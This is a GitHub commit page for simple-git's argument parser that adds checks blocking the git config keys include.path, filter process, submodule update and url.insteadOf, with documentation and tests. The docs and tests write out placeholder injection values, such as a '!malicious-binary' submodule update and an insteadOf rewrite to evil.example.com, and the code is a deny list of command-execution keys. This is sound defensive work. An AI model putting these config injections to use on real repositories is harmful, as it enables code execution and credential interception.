Skip to content

Commit c427fba

Browse files
authored
Argument parser vulnerability checks (#1167)
* feat(security): add include.path, filter.process, submodule.update, url.insteadOf checks New vulnerability categories: - allowUnsafeInclude: blocks include.path (arbitrary config file inclusion) - allowUnsafeSubmodule: blocks submodule.<name>.update (! prefix enables shell execution) - allowUnsafeUrlRewrite: blocks url.<base>.insteadOf (silent URL redirection) Extends existing categories: - allowUnsafeFilter: now also blocks filter.<driver>.process alongside clean/smudge All new checks covered by tests; PLUGIN-UNSAFE-ACTIONS.md updated with examples for each new category and the filter section updated to mention process.
1 parent 1bb14df commit c427fba

5 files changed

Lines changed: 101 additions & 3 deletions

File tree

.changeset/cyan-suits-sleep.md

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
---
2+
"@simple-git/argv-parser": patch
3+
---
4+
5+
Additional argument parser vulnerability checks:
6+
- Thanks to @mrillicit for identifying `include.path`, `filter.*.process`
7+
- Thanks to @tejas619 for identifying `url.*.insteadOf`

docs/PLUGIN-UNSAFE-ACTIONS.md

Lines changed: 64 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -317,9 +317,10 @@ await simpleGit({ unsafe: { allowUnsafeDiffTextConv: true } })
317317

318318
### Filter operations
319319

320-
The `filter.<driver>.clean` and `filter.<driver>.smudge` configuration values define binaries that transform
321-
file content when checking out (`smudge`) and staging (`clean`). Controlling either value allows an attacker
322-
to read or modify every file that passes through the filter.
320+
The `filter.<driver>.clean`, `filter.<driver>.smudge`, and `filter.<driver>.process` configuration values
321+
define binaries that transform file content when staging (`clean`), checking out (`smudge`), or via a
322+
persistent long-running process (`process`). Controlling any of these values allows an attacker to read or
323+
modify every file that passes through the filter.
323324

324325
```typescript
325326
import { simpleGit } from 'simple-git';
@@ -332,6 +333,10 @@ await simpleGit()
332333
await simpleGit()
333334
.raw('-c', 'filter.lfs.smudge=malicious-binary', 'checkout', 'main');
334335

336+
// throws — long-running process filter
337+
await simpleGit()
338+
.raw('-c', 'filter.lfs.process=malicious-binary', 'checkout', 'main');
339+
335340
// opt in to using custom filter binaries
336341
await simpleGit({ unsafe: { allowUnsafeFilter: true } })
337342
.raw('-c', 'filter.lfs.clean=git-lfs clean -- %f', '-c', 'filter.lfs.smudge=git-lfs smudge -- %f', 'checkout', 'main');
@@ -450,3 +455,59 @@ await simpleGit({ unsafe: { allowUnsafeConfigEnvCount: true } })
450455
})
451456
.commit('CI build commit');
452457
```
458+
459+
### Config file inclusion
460+
461+
The `include.path` configuration directive instructs `git` to load an additional configuration file and
462+
treat its contents as part of the current configuration. An attacker-controlled path can direct `git` to
463+
load a malicious config that overrides any setting, including those that enable further command-execution
464+
vectors such as `core.hooksPath` or `core.sshCommand`.
465+
466+
```typescript
467+
import { simpleGit } from 'simple-git';
468+
469+
// throws
470+
await simpleGit()
471+
.raw('-c', 'include.path=/attacker/controlled/config', 'status');
472+
473+
// opt in to loading external config files
474+
await simpleGit({ unsafe: { allowUnsafeInclude: true } })
475+
.raw('-c', 'include.path=/shared/team.gitconfig', 'status');
476+
```
477+
478+
### Submodule update strategy
479+
480+
The `submodule.<name>.update` configuration controls how `git submodule update` refreshes each submodule.
481+
When the value is prefixed with `!`, git treats the remainder as a shell command and executes it directly,
482+
providing an arbitrary code-execution path that triggers on every submodule update.
483+
484+
```typescript
485+
import { simpleGit } from 'simple-git';
486+
487+
// throws — shell command as update strategy
488+
await simpleGit()
489+
.raw('-c', 'submodule.evil.update=!malicious-binary', 'submodule', 'update');
490+
491+
// opt in to using a custom submodule update strategy
492+
await simpleGit({ unsafe: { allowUnsafeSubmodule: true } })
493+
.raw('-c', 'submodule.vendor.update=!custom-update-script', 'submodule', 'update');
494+
```
495+
496+
### URL rewriting
497+
498+
The `url.<base>.insteadOf` configuration silently rewrites any URL that begins with the given base before
499+
`git` makes a network connection. An attacker-controlled rewrite rule can redirect operations to an
500+
arbitrary host, intercepting credentials sent over the original transport or substituting malicious
501+
repository content.
502+
503+
```typescript
504+
import { simpleGit } from 'simple-git';
505+
506+
// throws — redirects github.com traffic to an attacker host
507+
await simpleGit()
508+
.raw('-c', 'url.https://evil.example.com.insteadOf=https://github.com', 'clone', 'https://github.com/org/repo');
509+
510+
// opt in to using URL rewriting
511+
await simpleGit({ unsafe: { allowUnsafeUrlRewrite: true } })
512+
.raw('-c', 'url.git://internal.mirror.insteadOf=https://github.com', 'clone', 'https://github.com/org/repo');
513+
```

packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -51,8 +51,10 @@ const preventUnsafeConfig = [
5151
preventExpandedConfigBuilder('difftool.cmd', 'allowUnsafeDiffExternal'),
5252
preventExpandedConfigBuilder('diff.textconv', 'allowUnsafeDiffTextConv'),
5353
preventExpandedConfigBuilder('filter.clean', 'allowUnsafeFilter'),
54+
preventExpandedConfigBuilder('filter.process', 'allowUnsafeFilter'),
5455
preventExpandedConfigBuilder('filter.smudge', 'allowUnsafeFilter'),
5556
preventExpandedConfigBuilder('gpg.program', 'allowUnsafeGpgProgram'),
57+
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
5658
preventConfigBuilder('init.templateDir', 'allowUnsafeTemplateDir'),
5759
preventExpandedConfigBuilder('pager.', 'allowUnsafePager'),
5860
preventExpandedConfigBuilder('merge.driver', 'allowUnsafeMergeDriver'),
@@ -63,4 +65,6 @@ const preventUnsafeConfig = [
6365
preventExpandedConfigBuilder('remote.uploadpack', 'allowUnsafePack'),
6466
preventConfigBuilder('uploadpack.packObjectsHook', 'allowUnsafePack'),
6567
preventConfigBuilder('sequence.editor', 'allowUnsafeEditor'),
68+
preventExpandedConfigBuilder('submodule.update', 'allowUnsafeSubmodule'),
69+
preventExpandedConfigBuilder('url.insteadOf', 'allowUnsafeUrlRewrite'),
6670
];

packages/argv-parser/src/vulnerabilities/vulnerability.types.ts

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -121,4 +121,25 @@ export interface VulnerabilityCategoryFlags {
121121
* Allows overriding template directory either by environment variable or configuration in simple-git tasks
122122
*/
123123
allowUnsafeTemplateDir: boolean;
124+
125+
/**
126+
* Allows using `include.path` to load an external git configuration file in simple-git tasks.
127+
* An attacker-controlled path could direct git to load a malicious configuration, overriding any
128+
* setting — including those that enable further command-execution vectors.
129+
*/
130+
allowUnsafeInclude: boolean;
131+
132+
/**
133+
* Allows setting `submodule.<name>.update` in simple-git tasks. When the update strategy begins
134+
* with `!`, git executes the remainder as a shell command on every `git submodule update`
135+
* invocation, providing an arbitrary code-execution path.
136+
*/
137+
allowUnsafeSubmodule: boolean;
138+
139+
/**
140+
* Allows using `url.<base>.insteadOf` configuration in simple-git tasks. URL rewriting can
141+
* silently redirect git operations to attacker-controlled hosts, potentially intercepting
142+
* credentials or substituting malicious repository content.
143+
*/
144+
allowUnsafeUrlRewrite: boolean;
124145
}

packages/argv-parser/test/vulnerability-analysis.spec.ts

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -70,10 +70,12 @@ describe('VulnerabilityAnalysis', () => {
7070
['diff.driver.textconv', 'malicious', 'allowUnsafeDiffTextConv'],
7171
['filter.clean', 'malicious', 'allowUnsafeFilter'],
7272
['filter.driver.clean', 'malicious', 'allowUnsafeFilter'],
73+
['filter.lfs.process', 'malicious', 'allowUnsafeFilter'],
7374
['filter.smudge', 'malicious', 'allowUnsafeFilter'],
7475
['filter.driver.smudge', 'malicious', 'allowUnsafeFilter'],
7576
['gpg.program', 'malicious', 'allowUnsafeGpgProgram'],
7677
['gpg.type.program', 'malicious', 'allowUnsafeGpgProgram'],
78+
['include.path', '/tmp/evil.gitconfig', 'allowUnsafeInclude'],
7779
['init.templateDir', '/tmp/evil', 'allowUnsafeTemplateDir'],
7880
['pager.log', 'malicious', 'allowUnsafePager'],
7981
['pager.log.color', 'malicious', 'allowUnsafePager'],
@@ -89,6 +91,9 @@ describe('VulnerabilityAnalysis', () => {
8991
['remote.https://example.com.uploadpack', 'malicious', 'allowUnsafePack'],
9092
['uploadpack.packObjectsHook', 'malicious', 'allowUnsafePack'],
9193
['sequence.editor', 'malicious', 'allowUnsafeEditor'],
94+
['submodule.evil.update', '!malicious', 'allowUnsafeSubmodule'],
95+
['url.https://evil.com.insteadOf', 'https://github.com', 'allowUnsafeUrlRewrite'],
96+
['url.https://evil.com.insteadOf', 'git@github.com:', 'allowUnsafeUrlRewrite'],
9297
])('writing %s = %s to the git config', (key, value, category) => {
9398
const expected = category ? oneVulnerability(category) : noVulnerabilities();
9499

0 commit comments

Comments
 (0)